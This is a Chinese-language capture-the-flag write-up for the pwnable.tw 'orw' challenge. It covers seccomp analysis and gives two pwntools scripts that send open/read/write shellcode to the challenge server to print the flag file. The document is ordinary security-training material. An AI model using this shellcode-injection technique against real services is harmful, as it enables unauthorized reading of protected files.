Pwnable_orw

题源

题解

保护

只开启了栈保护

分析

进入ida分析 main函数如下

seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。

使用seccomp-tools查看允许调用的函数,即orw(open,read,write)

seccomp安装方法

sudo apt install gcc ruby-dev

sudo gem install seccomp-tools

使用方法

seccomp-tools dump ./orw

该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写

exp

open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限

read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数

write(fd,buf,count) 和read相同

第一种
点我一下QaQ

from pwn import *  

context(os='linux', arch='i386', log_level='debug')
content = 0

if content == 1:
    io = process("./orw")
else:
    io = remote("chall.pwnable.tw",10001)


def main():
    io.recvuntil("shellcode:")
    payload = shellcraft.open('/home/orw/flag',0,0)
    payload += shellcraft.read(3,'/home/orw/flag', 100)
    #当一个文件被打开时,会占用0,1,2三个文件描述符,而Linux中文件描述符是增加的,所以会返回3
    payload += shellcraft.write(1, '/home/orw/flag', 100)
    #这里的fd = 1指标准输出到终端
    io.sendline(asm(payload))
    io.interactive()

if __name__ == '__main__':
    main()

第二种
再点我一下 0.0

from pwn import *  

context(os='linux', arch='i386', log_level='debug')
content = 0

if content == 1:
    io = process("./orw")
else:
    io = remote("chall.pwnable.tw",10001)


def main():
    io.recvuntil("shellcode:")
    payload = shellcraft.open('/home/orw/flag')
    payload += shellcraft.read('eax','ebp', 100)
    #open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即'/home/orw/flag'
    payload += shellcraft.write(1, 'ebp', 100)
    io.sendline(asm(payload))
    io.interactive()

if __name__ == '__main__':
    main()

推荐第二种,因为在不同的系统调用中,返回的文件描述符不一定相同,但是一定都存放在eax中.

在第一种中的payload += shellcraft.read(3,'/home/orw/flag', 100)和write调用中,

'/home/orw/flag'会shellcraft作为缓冲区地址,但是Pwntools会自动处理.因此第二种更有普适性

得到flag